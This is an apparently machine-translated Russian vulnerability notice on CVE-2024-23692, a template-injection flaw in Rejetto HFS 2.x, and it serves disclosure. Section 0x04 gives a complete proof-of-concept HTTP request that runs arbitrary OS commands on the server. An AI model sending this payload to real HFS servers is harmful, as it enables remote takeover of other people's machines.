0x00 Предисловие

HFS (HTTP File Server) — это программное обеспечение файлового сервера, основанное на протоколе HTTP, которое позволяет пользователям получать доступ к файлам на своем компьютере и обмениваться ими через браузер. Истоки HFS можно проследить до 2002 года, когда он был разработан и выпущен компанией Rejetto.

Основные особенности HFS включают простой и интуитивно понятный интерфейс, простую установку и настройку, поддержку виртуальных файловых систем и поддержку нескольких настроек разрешений. С помощью HFS пользователи могут легко обмениваться файлами и папками в локальной сети или Интернете без установки дополнительного программного обеспечения. Для доступа к файлам и их загрузки им достаточно использовать браузер, поддерживающий протокол HTTP.

0x01 Описание уязвимости

Основная причина заключается в том, как сервер обрабатывает шаблон по умолчанию, используемый для отображения HTTP-ответов.

Этот шаблон содержит содержимое параметров поискового запроса, которое не экранировано должным образом, что позволяет использовать SSTI. При нормальной работе символы и макросы кодируются для предотвращения SSTI. Однако, заставив сервер отменить экранирование определенных символов, злоумышленник может внедрить в шаблон произвольные макросы.

0x02 номер CVE

CVE-2024-23692

0x03 затронутая версия

Rejetto HFS 2.x

0x04 Подробности об уязвимости

POC：

GET /?n=%0A&cmd=whoami&search=%25xxx%25url%25:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.} HTTP/1.1
Host: 
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: HFS_SID_=0.590236319694668

ссылка на ссылку 0x05

https://github.com/rapid7/metasploit-framework/pull/19240

https://www.rejetto.com/hfs/?f=dl

Статьи и инструменты в этом официальном аккаунте предназначены только для ознакомления. Любые прямые или косвенные последствия и ущерб, вызванные распространением и использованием информации, представленной в этом документе, несут ответственность самого пользователя этого официального аккаунта и автора. статья не несут за это никакой ответственности.